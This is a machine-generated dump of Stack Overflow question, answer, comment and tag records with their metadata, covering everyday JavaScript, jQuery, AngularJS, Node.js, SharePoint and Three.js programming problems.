tags question: http://stackoverflow.com/q/25576009
tags question: http://stackoverflow.com/q/25652497
tags question: http://stackoverflow.com/q/25583004
tags question: http://stackoverflow.com/q/25673874
tags question: http://stackoverflow.com/q/25604856
tags question: http://stackoverflow.com/q/25554142
tags question: http://stackoverflow.com/q/25678014
tags question: http://stackoverflow.com/q/25652977
tags question: http://stackoverflow.com/q/25656949

http://stackoverflow.com/q/25682575
tagged with: javascript
tagged with: jquery
score: 0
accepted answer: http://stackoverflow.com/a/25890064
answer count: 1
has title: Inexplicable jquery error
tagged with: razor
tagged with: asp.net-mvc-5.2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25890064
has body: I have a column in my Kendo grid: col.Bound(d => d.AmountInclusive).ClientTemplate(" #=AmountInclusive# ").Width(150).EditorTemplateName("DecimalNumber").ClientFooterTemplate(" Sum: #= kendo.toString(sum, 'n') # "); The editor template, DecimalNumber, looks like this: @model decimal? @(Html.Kendo().NumericTextBoxFor(m => m) .HtmlAttributes(new { style = "width:100%" }) .Events(e => e .Change("numericValueChanged") ) ) When I try to edit the value in my grid, and tab out of the cell. I get this error in the developer tools' console: Uncaught Error: Syntax error, unrecognized expression: .field-validation-valid[data-valmsg-for=], .field-validation-error[data-valmsg-for=] I have no idea what causes the error. It seems to be part of the jquery I reference. Any ideas on how to solve this?
type: Question
tagged with: kendo-grid

http://stackoverflow.com/comment/40075085
type: Comment
comment on: http://stackoverflow.com/a/25647414
has text: I was just printing out all mysql related vars for clarity sake. I used the basic nodejs application (which you used also, yes?), so I'm not sure what could be preventing you from accessing the vars.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25621802
has comment: http://stackoverflow.com/comment/40028318
upvote count: 0
answer count: 1
tagged with: createelement
tagged with: jquery
favorite count: 0
tagged with: jquery-attributes
type: AnsweredQuestion
has body: My code is click The output I got is [object Object]. But how can I add the input field(Append should not be used).
downvote count: 2
type: Question
has answer: http://stackoverflow.com/a/25621874
has comment: http://stackoverflow.com/comment/40028458
score: -2
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25621874
tagged with: dom
has title: How to create elements of form using jquery

http://stackoverflow.com/comment/39962100
type: AnswerComment
comment on: http://stackoverflow.com/a/25585428
score: 0
type: Comment
has text: I have reread a few more times. Are you saying that this syntax only makes sense when a function doesn't return anything?

http://stackoverflow.com/q/25565043
answer count: 4
has answer: http://stackoverflow.com/a/25565239
type: Question
has answer: http://stackoverflow.com/a/25565127
has title: If else check in following code using javascript?
has body: In the following code i am adding events in ev[] array by using ev.push() function like ev.push({title: v.Message,start:v.StartDate,end:v.EndDate,id: v.EventsCalendarID}) and now i want to add a condition in which i want to check Isapproved==true or false and if its true i can add textColor: 'black' in ev.push() or textColor: 'red' if Isapproved== false. How can i perform this check? var events = [ { "EventsCalendarID": 21, "AdminUserName": "ManjitSingh", "StartDate": "2014-08-27 12:00 AM", "EndDate": "8/28/2014 12:00:00 AM", "Timezone": "Europe/London", "Message": "mabkja", "IsApproved": false, "UserID": "70348398-9b8e-48a2-bbfc-c2474146d5d5", "User": null }, { "EventsCalendarID": 22, "AdminUserName": "ManjitSingh", "StartDate": "2014-08-29 12:00 AM", "EndDate": "8/29/2014 1:00:00 AM", "Timezone": "Europe/London", "Message": "ffd", "IsApproved": true, "UserID": "70348398-9b8e-48a2-bbfc-c2474146d5d5", "User": null } ]; function success(events) { var ev = []; $.each(events, function (i, v) { ev.push({ title: v.Message, start:v.StartDate, end:v.EndDate, id: v.EventsCalendarID }); }); }
score: 0
has comment: http://stackoverflow.com/comment/39923709
has answer: http://stackoverflow.com/a/25565096
has answer: http://stackoverflow.com/a/25565106
tagged with: javascript
type: UnansweredQuestion

http://stackoverflow.com/q/25619572
has body: i tried to show and hide img tag in below code &lt;div id='userview_'&lt;?php echo $userId; ?&gt;&gt; &lt;img src="css/user/images/user1.svg"&gt; &lt;/div&gt; i wrote jquery to show img like dis var userId='&lt;?php echo $userId; ?&gt;'; jQuery('#userview_'+userId ' img').css('src','url(css/user/images/user1.svg) no repeat center'); but not working and also i need to know hide this img tag (only) in onClick()
answer count: 6
score: 0
has answer: http://stackoverflow.com/a/25638004
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25638004
has answer: http://stackoverflow.com/a/25619654
has answer: http://stackoverflow.com/a/25619870
has answer: http://stackoverflow.com/a/25619742
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40024410
tagged with: php
tagged with: css
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40024365
possible better answer: http://stackoverflow.com/a/25619742
has comment: http://stackoverflow.com/comment/40024726
has answer: http://stackoverflow.com/a/25619892
type: Question
has title: Hiding img tag inside div onClick() using jQuery
has answer: http://stackoverflow.com/a/25619610

http://stackoverflow.com/q/25594023
tagged with: sharepoint
has title: Uncaught Error: The property or field has not been initialized
upvote count: 3
has answer: http://stackoverflow.com/a/40911686
downvote count: 0
has body: I am trying to run the following code in a simple sharepoint app, but I got this error: Uncaught Error: The property or field has not been initialized. It has not been requested or the request has not been executed. It may need to be explicitly requested. Code is this one: var collListItems; $(document).ready(function () { getConfigValues(); }); function getConfigValues() { var context = SP.ClientContext.get_current(); var configList = context.get_web().get_lists().getByTitle('Configuration Values'); var camlQuery = new SP.CamlQuery(); collListItems = configList.getItems(camlQuery); context.load(collListItems); context.executeQueryAsync(onGetConfigValuesSuccess, onGetConfigValuesFail); } function onGetConfigValuesSuccess() { var OrgLogoUrl; var OrgName; var listItemEnumerator = collListItems.getEnumerator(); while (listItemEnumerator.moveNext()) { var oListItem = listItemEnumerator.get_current(); var current = oListItem.get_item('Title'); switch (current) { case 'OrganizationName': OrgName = oListItem.get_item('Value'); break; case 'OrganizationLogoUrl': OrgLogoUrl = oListItem.get_item('Value'); break; }; } if (OrgName &amp;&amp; OrgName.length &gt; 0) { $('#DeltaPlaceHolderPageTitleInTitleArea').html(OrgName); $('.ms-siteicon-img').attr('title', OrgName); } if (OrgLogoUrl &amp;&amp; OrgLogoUrl.length &gt; 0) $('.ms-siteicon-img').attr('src', OrgLogoUrl); else $('.ms-siteicon-img').attr('src', '../Images/AppLogo.png'); } function onGetConfigValuesFail(sender, args) { alert('Failed to get the Configuration Values. Error:' + args.get_message()); } The code is from a book, without any modifications: OrgName = oListItem.get_item('Value');
has answer: http://stackoverflow.com/a/25596382
accepted answer: http://stackoverflow.com/a/25596382
possible better answer: http://stackoverflow.com/a/40911686
type: AnsweredQuestion
score: 3
tagged with: sharepoint-apps
favorite count: 0
type: Question
answer count: 2
tagged with: javascript

http://stackoverflow.com/comment/39947314
score: 0
type: Comment
type: QuestionComment
has text: Sorry about that Chrissi, it should work now. I forgot the "s" before the numbers
comment on: http://stackoverflow.com/q/25576268

recaptcha
tag name: recaptcha
tags question: http://stackoverflow.com/q/25594945
type: Tag

http://stackoverflow.com/comment/39983604
has text: you need to call `<%= image_tag pin.image.url %>` and `<%= pin.description %>`
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25588301

http://stackoverflow.com/comment/39905006
has text: The misunderstanding makes sense though. In the original post the `1000 space space 00` statements were not encased as code blocks. The editor put them in code blocks.
comment on: http://stackoverflow.com/a/25554949
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25700973
has body: To do this in jQuery: add class entry to the text fields: &lt;input type='text' class='qty' name='qty' id='qty' value='".$sum[0]."' disabled&gt; and then use the jquery $( "#edit" ).click(function() { $( ".qty" ).each(function( index ) { if ($("#edit").is(':checked')) { $( this ).prop('disabled', false); } else { $( this ).prop('disabled', true); } }); });
has comment: http://stackoverflow.com/comment/40172480
score: 0
has comment: http://stackoverflow.com/comment/40172304
answers question: http://stackoverflow.com/q/25700929
has comment: http://stackoverflow.com/comment/40172441
has comment: http://stackoverflow.com/comment/40172266
has comment: http://stackoverflow.com/comment/40172391
type: Answer
has comment: http://stackoverflow.com/comment/40172753
has comment: http://stackoverflow.com/comment/40172791

http://stackoverflow.com/comment/40017124
score: 0
type: Comment
type: QuestionComment
has text: How are you "calling the URL"? Using cURL? A browser? Something else?
comment on: http://stackoverflow.com/q/25615532

http://stackoverflow.com/q/25583820
type: AnsweredQuestion
has title: Undefined ID/ No action Jquery
has answer: http://stackoverflow.com/a/25583856
tagged with: php
type: Question
has comment: http://stackoverflow.com/comment/39958943
has body: I have button X and when it's pressed than a row needs to be deleted from the database, the ID of button X is the ID that belongs to the row in the DB. To get that button X ID I used $(this).attr('id'). Unfortunately it gives me undefined or nothing back in return(tested it with the console.log function). My Jquery part: $(document).ready(function(){ $('.btn btn-xs btn-danger').click(function(){ var delete_id = $(this).attr('id'); alert(delete_id); }) }); The little HTML/PHP part: <button class="btn btn-xs btn-danger" name="deleting" id="<?php echo $idError; ?>"> $idError returns the ID from the database, so that works. The problem now is that nothing alerts(Chromes console bug doesn't give anything to). Thank you very much for helping in advance, English isn't my mother tongue so I apologizes for any grammar or misspells in my post :-)
has comment: http://stackoverflow.com/comment/39959055
has comment: http://stackoverflow.com/comment/39958996
accepted answer: http://stackoverflow.com/a/25583856
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/39959096

http://stackoverflow.com/comment/39963771
score: 0
type: QuestionComment
type: Comment
has text: The easy way out would be to make SocketGameOut global. For instance, in file1, the last thing inside your `document.ready`, put `window.SocketGameOut = SocketGameOut`.
comment on: http://stackoverflow.com/q/25586408

http://stackoverflow.com/comment/39921088
type: QuestionComment
comment on: http://stackoverflow.com/q/25563423
has text: Try solutions from this [discussion](http://stackoverflow.com/questions/3551767/typo3-get-a-javascript-included-by-headerdata-to-load-before-one-included-by)
score: 0
type: Comment

http://stackoverflow.com/comment/40033384
comment on: http://stackoverflow.com/a/25623910
has text: Cheers Bruce! That's perfect.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/25654389
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/25654477
has body: For a very large JSON object with up to for nested levels, jQuery.extend() seems to be significantly faster than the lodash clone method when deep cloning the object. How are these two methods different from each other, and what leads to the discrepancy?
type: AnsweredQuestion
tagged with: javascript
tagged with: jquery
type: Question
has answer: http://stackoverflow.com/a/25654477
tagged with: lodash
has title: Why is jQuery.extend() faster than Lodash .clone()

http://stackoverflow.com/q/25625249
has answer: http://stackoverflow.com/a/25625563
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40035230
type: Question
has body: I would like to create a service that will create an interface to AngularJS's $http based on this. I would like to use dependency injection to inject the service without re-writing individual function calls and keeping the code clean. To do this I am providing a common service that creates a variable to the $http object like this: commonService = function(...) { return { ... $http: $http } Then I use common.$http everywhere in the code. To change $http from AngularJS $http to my httpService, I need to only change it in one place. httpService looks like this: function httpService($http, $q, pendingRequests, $interval) { var get = function(url) { ... return requestPromise; }; var service = { get:get }; return service; } This works for calls to $http.get() but what about calls to $http({method:'get', url:'...'}); ? Is it possible to provide the () method, which is really httpService()()? Otherwise it would call the AngularJs method httpService().
has title: JavaScript service: how to provide a () method, like an object constructor?
accepted answer: http://stackoverflow.com/a/25625563
upvote count: 4
linked to: http://stackoverflow.com/q/23244389
answer count: 1
downvote count: 0
tagged with: javascript
score: 4
has comment: http://stackoverflow.com/comment/40034839
has comment: http://stackoverflow.com/comment/40034843
favorite count: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40035182
has comment: http://stackoverflow.com/comment/40035148

http://stackoverflow.com/q/25635314
has comment: http://stackoverflow.com/comment/40053453
tagged with: node.js
type: AnsweredQuestion
has title: Cant get a valid regex to work in nodejs
has answer: http://stackoverflow.com/a/25635362
type: Question
tagged with: javascript
score: 0
answer count: 1
has body: I am trying to use following nodejs function to check an existence of specific kind of url in my string. I checked this regex separately and it looks good, but get me an error in node. var checkforURL = function(data) { var re = /((?:https?://)?www\.example\.com\/tp\/\S+\d+)/g/; return re.test(data); } this should return true for following cases http://www.exmaple.com/tp/123 www.exmaple.com/tp/abc/123 https://www.exmaple.com/tp/123 etc etc when i try to run the code i get following compilation error var re = /((?:https?://)?www.example.com/tp/\S+\d+)/g/; ^ SyntaxError: Unexpected token ) at Module._compile (module.js:439:25) at Object.Module._extensions..js (module.js:474:10) at Module.load (module.js:356:32) at Function.Module._load (module.js:312:12) at Function.Module.runMain (module.js:497:10) at startup (node.js:119:16) at node.js:906:3 I need this parenthesis, they enclose https?:// to make sure it can exist 0 or 1 time, not sure why nodejs keeps throwing an error, any idea?
accepted answer: http://stackoverflow.com/a/25635362
has comment: http://stackoverflow.com/comment/40053502
tagged with: regex

http://stackoverflow.com/comment/39945211
score: 0
type: Comment
type: QuestionComment
has text: Interesting, those `} // comment here` lines break http://jsbeautifier.org...
comment on: http://stackoverflow.com/q/25576010

http://stackoverflow.com/q/25559366
accepted answer: http://stackoverflow.com/a/25559448
type: Question
tagged with: javascript
has title: JavaScript - error with inheritance
has answer: http://stackoverflow.com/a/25561170
answer count: 3
favorite count: 0
has answer: http://stackoverflow.com/a/25559406
has answer: http://stackoverflow.com/a/25559448
has body: I'm trying to use inheritance, but I'm stuck. I'm getting an error and don't know what I'm doing wrong. All examples I see online don't pass objects into their constructors, so I'm not sure what I should be doing. Here is a dumbed down example - function Automobile(obj){ this.name = obj.name; this.model = obj.model; } Automobile.prototype = { getName: function(){ console.log(this.name); }, getModel: function(){ console.log(this.model); } } var bmw = new Automobile({ name: 'BMW', model: 'm5' }) bmw.getName(); bmw.getModel(); function Truck(obj){ this.cabSize = obj.cabSize } Truck.prototype = new Automobile(); Truck.prototype = { getCabSize: function(){ console.log(this.cabSize); } } var fordF150 = new Truck({ name: 'Ford', model: 'F150' }) //Uncaught TypeError: Cannot read property 'name' of undefined test.js:2 //Automobile test.js:2 //(anonymous function)
possible better answer: http://stackoverflow.com/a/25559406
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39913429
tagged with: prototypal-inheritance
upvote count: 2
score: 1
downvote count: 1

http://stackoverflow.com/comment/39948905
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25578077
has text: Why I can't simply use the normal script tags we had in Webforms ( the second code snippet in my question) if I don't care about putting the script in where RenderSection is defined then the second snippet should be fine.

http://stackoverflow.com/q/25633909
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40051042
tagged with: asynchronous
type: UnansweredQuestion
type: Question
has title: Stop firefox from exiting execution of deferred objects
score: 1
has comment: http://stackoverflow.com/comment/40051004
has comment: http://stackoverflow.com/comment/40074346
has body: I've got some asynchronous code in which for a given deferred object defObj, I've attached several functions that I want to execute, like so: $.when(defObj).done(function(){ console.log('callback 1'); }); $.when(defObj).done(function(){ console.log('callback 2'); }); $.when(defObj).done(function(){ console.log('callback 3'); }); (In the actual code, these are attached in a few different functions that I'm calling to initialize a page.) After some other asynchronous code finishes, I want to resolve the deferred object and trigger all of the callbacks. I manually resolve the callback: defObj.resolve(); In chrome, this works fine. The deferred object resolves and all of the callbacks fire. In firefox, I get an error of some sort in the second callback (or at least, I assume I do, since it doesn't show up in the console.) This error blocks the rest of the deferred objects from resolving, and stops execution of the code. I tried putting the code in a try/catch block: try{ defObj.resolve(); } catch(e){ console.error(e) }; but firefox doesn't make it into the catch block. Is there a way of stopping firefox from exiting code execution before it finishes all of the deferred callbacks? Let me know if this seems unclear and I'll try to clean it up.
has comment: http://stackoverflow.com/comment/40051084
has answer: http://stackoverflow.com/a/25647074
upvote count: 1
tagged with: firefox
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/40211548
has text: you can apply any property to sort it like id, name, currency etc.
type: AnswerComment
comment on: http://stackoverflow.com/a/25683529
type: Comment
score: 0

http://stackoverflow.com/q/25702736
tagged with: http://stackoverflow.com/tag/html
tagged with: css
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/25702788
has title: HTML styling while Angular JS is loading
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25702788
has body: I have html block and I want to control it's visibility by Angular variable &lt;div class={{visibilityCss}}&gt; Show/Hide Area &lt;/div&gt; In angular I have $scope.visibilityCss = 'hide' or $scope.visibilityCss = 'show' which is 'hide' by default. I also have css for .show/.hide classes to toggle the div visibility with display:block/none. I want this div to be hidden initially but my problem is that while the page is loading the div is visible and only after ~1 sec (when angular js is loaded) it is hidden by javascript. I would like to make it not visible from the very beginning. (something like applying hidden css for .{{visibilityCss}} class if it was a valid css class name)
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25702803
score: 1
favorite count: 0
tagged with: angularjs
type: Question
possible better answer: http://stackoverflow.com/a/25702803

http://stackoverflow.com/q/25612757
duplicate of: http://stackoverflow.com/q/8396407
downvote count: 2
score: -2
answer count: 1
has comment: http://stackoverflow.com/comment/40011929
has comment: http://stackoverflow.com/comment/40011825
has comment: http://stackoverflow.com/comment/40011995
has title: Difference between window.load and jQuery's $(document).ready()
upvote count: 0
tagged with: javascript
type: UnansweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25612838
linked to: http://stackoverflow.com/q/8396407
has body: What are the differences between JavaScript's window.load and JQuery's $(document).ready() method? I need a function when open the page first check JavaScript means cookies then load the HTML or body?
favorite count: 0

http://stackoverflow.com/q/25633363
type: AnsweredQuestion
tagged with: genexus
has body: I have this UC: this.show = function() { ... var myvar = "Text of the var." this.Property1 = myvar + "1"; this.Property2 = myvar + "2"; this.FontSize = 40; ///UserCodeRegionEnd: (do not remove this comment.) } And this event in the UC: And I get this result: So my question is, why the properties do not have the value I assign in the method show()?
has comment: http://stackoverflow.com/comment/40117422
type: Question
has comment: http://stackoverflow.com/comment/40118805
has answer: http://stackoverflow.com/a/25671002
score: 0
answer count: 1
tagged with: javascript
tagged with: user-controls
accepted answer: http://stackoverflow.com/a/25671002
has title: Javascript UC and UC properties

http://stackoverflow.com/a/25655242
score: 0
type: AcceptedAnswer
has body: Your function is infinitely recursive, meaning that it calls itself endlessly with no way to break out of the loop. I suggest moving your changeBackground() call outside of your function. I also attached the call to window.onload so that the &lt;body&gt; styles will be available in the DOM before the function executes. I also loosened your if logic so that it's not reliant on backgroundColor initially being either "white" or "black". function changeBackground(color) { if (document.body.style.backgroundColor === 'black') { localStorage['color'] = 'white'; } else { localStorage['color'] = color; } document.body.style.backgroundColor = localStorage['color']; } // this sets the background color to the localStorage value when the page loads window.onload = function () { changeBackground(localStorage['color']); } WORKING EXAMPLE
type: Answer
accepted answer of: http://stackoverflow.com/q/25654938
answers question: http://stackoverflow.com/q/25654938

http://stackoverflow.com/a/25561011
has body: Fixed incorrect ending quotations and incorrect reference to variable name. &lt;script type="text/javascript"&gt; function feedpixel(){ var feedpixelpixel = new Image(1,1); feedpixelpixel.src = 'http://test.com/pixel/'; }; feedpixel(); &lt;/script&gt;
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25560973
answers question: http://stackoverflow.com/q/25560973
score: 3
upvote count: 3

http://stackoverflow.com/comment/40054188
comment on: http://stackoverflow.com/q/25627128
score: 0
type: Comment
type: QuestionComment
has text: @Donal Thanks for your respond but i am current stuck with Access-control issue . if you could take a look at my above code appreciated

http://stackoverflow.com/comment/40170405
has text: Hm, not posting the JavaScript in the CSS field might help…
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25699836
score: 1

http://stackoverflow.com/comment/40168267
comment on: http://stackoverflow.com/q/25698574
has text: Razor is server side code. `string ip_address` no longer exists once its sent to the browser so you cant set it using javascript which runs on the client.
type: QuestionComment
score: 1
type: Comment

http://stackoverflow.com/comment/39931849
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25569250
has text: I can detect all iPads, just wanted to get the first generation. Anthing lower than 5.1.1. Preferably in PHP?
type: AnswerComment

http://stackoverflow.com/comment/39932218
comment on: http://stackoverflow.com/q/25566018
score: 0
has text: Should be `.navbar-right` instead of pull-right. Example ul: `nav navbar-nav skrollable skrollable-between navbar-right`
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25683274
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/40140669
has comment: http://stackoverflow.com/comment/40141418
type: Question
tagged with: mongodb
accepted answer: http://stackoverflow.com/a/25685836
downvote count: 0
has comment: http://stackoverflow.com/comment/40140365
tagged with: javascript
has title: Auto-increment field in MongoDb with async bulk insertion
answer count: 1
favorite count: 0
tagged with: mongoskin
upvote count: 2
has comment: http://stackoverflow.com/comment/40141395
has comment: http://stackoverflow.com/comment/40140201
has answer: http://stackoverflow.com/a/25685836
has body: I'm looking at this article about auto-incrementing fields in MongoDb. http://docs.mongodb.org/manual/tutorial/create-an-auto-incrementing-field/ This seems good in theory, but doesn't work in my application where all DB calls are async. Ps, Im using Mongoskin. Consider this: var getNextSequence function (name) { db.counters.findAndModify({_id: 'invoiceNr'}, {}, {$inc: {seq: 1}}, {new: true}, function(err, doc) { if (err) { return next(err); } return doc.seq; }); }; var seq = getNextSequence('invoiceNr'); console.log(seq); This (Console.log) will of course not have any value when executed... This makes me thinking about nested callbacks instead (classic Node style): db.counters.findAndModify({_id: 'invoiceNr'}, {}, {$inc: {seq: 1}}, {new: true}, function(err, doc) { if (err) { return next(err); } var seq = getNextSequence('invoiceNr'); // Do something with the seq, like using it when inserting another document. }); This will work fine for one document, but I cant see how this would work if I make a bulk Insert (passing an array of several documents to insert). And I NEED bulk insertions. Going back to loops and single insertions doesnt seems like a good solutions. Do you have any good solution for this?
tagged with: node.js

http://stackoverflow.com/comment/56274634
type: QuestionComment
has text: +1 - This is a reasonable question, dunno why someone gave it -1. Though generally you should be checking features rather than devices. Plus Apple give out the iOS details in the user agent not the generation (or type) of iPad.
comment on: http://stackoverflow.com/q/25568869
score: 0
type: Comment

http://stackoverflow.com/a/25560690
downvote count: 0
score: 3
has body: Remove the "var" in your prepareEventHandlers() function. var myImage; function prepareEventHandlers() { myImage = document.getElementById('mainImage'); } function runEvents() { myImage.onclick = function() { alert('You clicked on the image.'); }; } window.onload = function() { prepareEventHandlers(); runEvents(); }
upvote count: 3
answers question: http://stackoverflow.com/q/25560664
type: Answer

http://stackoverflow.com/comment/40082278
has text: I tried to update your code formatting. I notice that both your code snippets dont have closing `}`
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25650337

http://stackoverflow.com/comment/40104762
score: 0
comment on: http://stackoverflow.com/q/25663762
has text: Hope this post helps you to achieve your [goal](http://stackoverflow.com/questions/16442016/jquery-sticky-header-that-shrinks-when-scrolling-down)
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25620933
has answer: http://stackoverflow.com/a/25624147
has body: Is it possible to differentiate between the meshes within one .js file exported from blender and animate them separately using Three.js? The cube I would like to select is named "Cube" loads properly. However, when I try to get it by Name or Id, it doesn't recognize the var item1. loader = new THREE.JSONLoader(); loader.load('engine.js', function (geometry, materials) { var mesh, material; material = new THREE.MeshFaceMaterial(materials); mesh = new THREE.Mesh(geometry, material); mesh.scale.set(1, 1, 1); var item1 = scene.getObjectByName("Cube"); item1.position.x = 15; scene.add(mesh); }); I found this post but it seems unresolved: Three.js load multiple separated objects / JSONLoader What is the best approach to loading multiple meshes via JSONLoader? I'd prefer to load them together as one .js file and just select the ones I would like to animate. Thanks for your help!
tagged with: loader
tagged with: three.js
type: AnsweredQuestion
has title: Accessing multiple objs using .getObjectById() with JSONLoader in Three.js
linked to: http://stackoverflow.com/q/16357384
tagged with: http://stackoverflow.com/tag/json
accepted answer: http://stackoverflow.com/a/25624147
type: Question
answer count: 2
tagged with: blender
tagged with: javascript
score: 0
possible better answer: http://stackoverflow.com/a/39403912
has answer: http://stackoverflow.com/a/39403912

http://stackoverflow.com/q/25560964
score: 1
favorite count: 0
type: Question
tagged with: three.js
has title: Adapting Existing Shaders in Three.js
has answer: http://stackoverflow.com/a/25585412
tagged with: shader
tagged with: glsl
upvote count: 1
answer count: 1
has body: I've written a custom shader intended to be added to an existing Three.js shader. Currently I've defined a Shader Material with relatively simple vertex and fragment shaders. The shader itself changes specific colors on an object. As it's written right now, however, these colors don't interact with light. To fix this, I was hoping to inject my code into the code for existing Three.js Materials (namely, Phong and/or Lambert). I've tried a few different approaches all with no success. The most promising approach seems to be something similar to this post: Replicating MeshLambertMaterial Using ShaderMaterial ignores textures When I tried to implement this approach, my shaders wouldn't compile. I'd post a code sample, but it's really a garbled mess (~90% copy/pasted from firefox's GLSL live-editor, so I don't think it would be very informative). My primary questions are these: 1) Is the approach employed by the OP of the above the best choice? 2) Where is the best place to find three.js' Lambert/Phong Shader code. I realize that a huge portion is automatically generated, but surely copy/pasting from firefox isn't the best choice... Hopefully someone can help.
linked to: http://stackoverflow.com/q/21928178
tagged with: javascript
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/comment/40101272
comment on: http://stackoverflow.com/a/25661887
has text: bcz creating some custom onClick() methods after binding the HTML via **ngSanitize**..
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25693692
has body: I am learning Javascript and I am now getting bored of the console, so I would like to "write" to the webpage itself. I am writing the result of a for loop to the page, I want to print the result, putting a comma after every index, I have managed to accomplish this but there is a comma at the end of the last result, how do I stop the comma after the 9th index? I assume I need to use an index of some sort (i[9]) but I'm not sure how to say stop writing commas. Here is my code: var x = document.getElementById("para1"); x.innerHTML = "Result: "; for(var i = 1; i &lt; 11; i++) { result= i + "," + " "; x.innerHTML += result; } One other thing, I am printing "result" in the x variable's innerHTML, is there another way to write variable except in the actual HTML of the page? for instance in the x.innerHTML at the end? I would greatly appriciate any help! Thanks
has answer: http://stackoverflow.com/a/25693733
has comment: http://stackoverflow.com/comment/40159787
has title: Writing the result of a for-loop to the webpage using innerHTML in Javascript
favorite count: 0
upvote count: 2
tagged with: innerhtml
has comment: http://stackoverflow.com/comment/40159891
has comment: http://stackoverflow.com/comment/40160470
has comment: http://stackoverflow.com/comment/40159942
possible better answer: http://stackoverflow.com/a/25693789
accepted answer: http://stackoverflow.com/a/25693733
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25693789
has comment: http://stackoverflow.com/comment/40159750
has comment: http://stackoverflow.com/comment/40159721
type: Question
answer count: 2
tagged with: for-loop
has comment: http://stackoverflow.com/comment/40159536
downvote count: 0
tagged with: javascript

http://stackoverflow.com/a/25609986
has comment: http://stackoverflow.com/comment/40007102
upvote count: 4
answers question: http://stackoverflow.com/q/25609927
type: AcceptedAnswer
downvote count: 0
score: 4
accepted answer of: http://stackoverflow.com/q/25609927
has comment: http://stackoverflow.com/comment/40007072
has body: Turns out that function invocation operator looks back on what is the context. I would expect operator to not know where operands come from. In fact, it does know. In the EcmaScript specification this is described by the property accessor operators (and a few similar operations) to return a "Reference object" that holds exactly this information: the context on which the property was accessed. Any "normal" operations will usually just get the reference's value - including the assignment operators, which do dissolve the reference in your case. The call operator uses this to make method calls special: Let ref be the result of evaluating MemberExpression. which may return a Reference Let func be GetValue(ref). which fetches the actual function object - you see this operation a lot in the spec … fetch arguments, do some type assertions If Type(ref) is Reference, then If IsPropertyReference(ref) is true, then Let thisValue be GetBase(ref). &lt;- here the method context is fetched Else, the base of ref is an Environment Record … which basically describes variables inside a with statement Else, Type(ref) is not Reference. Let thisValue be undefined.
type: Answer

http://stackoverflow.com/comment/40188099
type: QuestionComment
has text: Don't you need to `return` from the `evaluate` callback?
comment on: http://stackoverflow.com/q/25706972
score: 0
type: Comment

http://stackoverflow.com/q/25641073
has comment: http://stackoverflow.com/comment/40063464
has title: how to insert numbers 1 2 3,,,,,K with one button insert numbers
has answer: http://stackoverflow.com/a/25641501
type: Question
has answer: http://stackoverflow.com/a/25641316
score: 0
has answer: http://stackoverflow.com/a/25641319
has answer: http://stackoverflow.com/a/25641293
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25641491
answer count: 5
type: UnansweredQuestion
has body: HTML: Javascript: Fiddle: http://jsfiddle.net/tejdeep/jgmo63ta/5/ I want insert numbers in 1,2,3,4,5,6,---------------------------- by one button click .how can i do it Thanks in advance.
has comment: http://stackoverflow.com/comment/40063495
upvote count: 1
has comment: http://stackoverflow.com/comment/40063695
downvote count: 1

http://stackoverflow.com/q/25674704
has answer: http://stackoverflow.com/a/25677217
accepted answer: http://stackoverflow.com/a/25677217
has answer: http://stackoverflow.com/a/25689543
downvote count: 1
type: Question
type: AnsweredQuestion
upvote count: 5
has title: React Render Array in Mapped Return
has body: I have a react component that is rendering some results. The problem I am having is with result.participants. This is an array, so map is rendering both names without any spacing and I am finding it difficult to get those spaces inserted. The result.participants is an array of strings. How do I insert a space or some logic to put in a comma and a space if the length is >1 ? render: function(){ return ( { this.state.pads.map(function(result){ return [ {result.title}, Participants: {result.participants} , Summary: {result.summary} , Last Edited: {new Date(result.lastEdit).toDateString()} , ]; })} ) }
tagged with: javascript
score: 4
tagged with: reactjs
answer count: 2
tagged with: arrays
possible better answer: http://stackoverflow.com/a/25689543
favorite count: 0
has comment: http://stackoverflow.com/comment/40124547
tagged with: dictionary

http://stackoverflow.com/q/25687153
has comment: http://stackoverflow.com/comment/40148693
answer count: 0
downvote count: 0
score: 1
tagged with: jquery
favorite count: 0
tagged with: python-3.x
type: Question
has comment: http://stackoverflow.com/comment/40151524
tagged with: qwebview
upvote count: 1
